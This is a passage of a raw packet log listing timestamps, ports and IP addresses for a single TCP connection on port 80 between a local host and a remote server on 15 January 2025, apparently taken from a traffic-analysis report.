Jan 15, 2025 08:11:15.454757929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.454793930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.454808950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.454848051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.454884052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.454905987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.454925060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.454978943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.454979897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.455014944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.455064058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.455068111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.455133915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.455169916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.455183983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.455207109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.455240965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.455255985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.455296040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.455357075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.455365896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.455487013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.455538988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.455539942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.455574989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.455610991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.455626965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.455696106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.455745935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.455749035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.455785036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.455818892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.455837965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.455863953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.455914021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.455939054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.455974102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456010103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456022024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.456044912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456096888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.456098080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456151962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456190109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456206083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.456224918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456259966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456280947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.456295967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456331015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456362963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.456383944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456437111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.456438065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456471920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456506968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456521988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.456542015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456577063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456604958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.456610918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456645966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456676960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.456698895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456734896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456754923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.456769943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456804037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456825018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.456840992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456876993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456899881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.456914902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456953049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.456971884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.456989050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457024097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457051992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.457060099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457096100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457153082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457191944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.457207918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457242012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457254887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.457278013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457309008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.457312107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457365036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.457365036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457403898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457454920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457454920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.457490921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457525015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457540989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.457560062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457593918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457613945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.457628012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457663059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457681894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.457700014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457735062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457755089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.457770109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457804918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457823038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.457839966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.457895041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.463141918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.463192940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.463228941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.463258028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.463263988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.463300943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.463327885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.463366985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.463402987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.463423014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.463439941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.463495016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.464113951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.477251053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.477345943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.477406025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.477407932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.477446079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.477493048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.477524042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.477534056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.477564096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.477600098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.507384062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.507508039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.507545948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.507585049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.507622004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.507642984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.507642984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.507656097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.507692099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.507709980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.507729053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.507742882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.507765055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.507797956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.507818937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.507833958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.507868052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.507893085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.507905960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.507941008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.507961035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.507976055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.508027077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.511399984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.511445999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.511501074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.511506081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.511543989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.511578083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.511603117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.511614084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.511648893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.511668921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.511687994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.511738062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.541578054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.541621923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.541738987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.541763067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.541780949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.541799068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.541816950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.541850090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.541882038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.541918039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.541950941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.541984081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542016029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542017937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.542018890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.542018890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.542076111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542093039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.542126894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542139053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.542167902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542196989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542272091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542305946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542359114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.542359114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.542396069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542445898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542480946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542515993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542543888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542577028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542612076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542614937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.542614937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.542614937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.542645931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542663097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.542699099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542732954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542752028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.542768002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542800903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542828083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.542834044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542892933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542892933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.542931080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542964935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.542979956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.542999029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543049097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543051004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.543102026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543135881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543152094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.543171883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543205976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543227911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.543241978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543276072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543304920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.543311119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543390989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.543391943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543426991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543461084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543477058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.543517113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543550014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543576956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.543586969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543620110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543639898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.543653965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543687105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543709993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.543723106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543757915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543775082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.543792009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543826103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543845892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.543859959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543895006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543910027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.543930054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543963909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.543979883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.543998957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544033051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544048071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.544078112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544112921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544127941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.544148922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544186115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544217110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.544219971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544255018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544270992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.544488907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544517040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544547081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.544553995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544605970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544609070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.544637918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544688940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544729948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.544739962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544790983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544816017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.544823885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544857979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544883966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.544912100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544945955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.544970036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.544996977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.545048952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.545053959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.545092106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.545144081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.545145988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.545177937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.545217037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.545228958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.545250893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.545284986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.545305014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.545320034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.545352936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.545375109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.545388937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.545434952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.555989027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.563500881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.574866056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.574960947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.575000048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.575036049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.575069904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.575109005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.575166941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.575166941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.575166941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.594257116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.594333887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.594387054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.594408035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.594422102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.594460011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.594480038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.594494104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.594530106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.594553947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.594563961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.594598055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.594618082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.594631910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.594666004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.594686031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.594698906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.594733000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.594757080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.594765902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.594801903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.594821930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.598032951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.598114014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.598150015 CET	49730	80	192.168.2.4	193.143.1.205
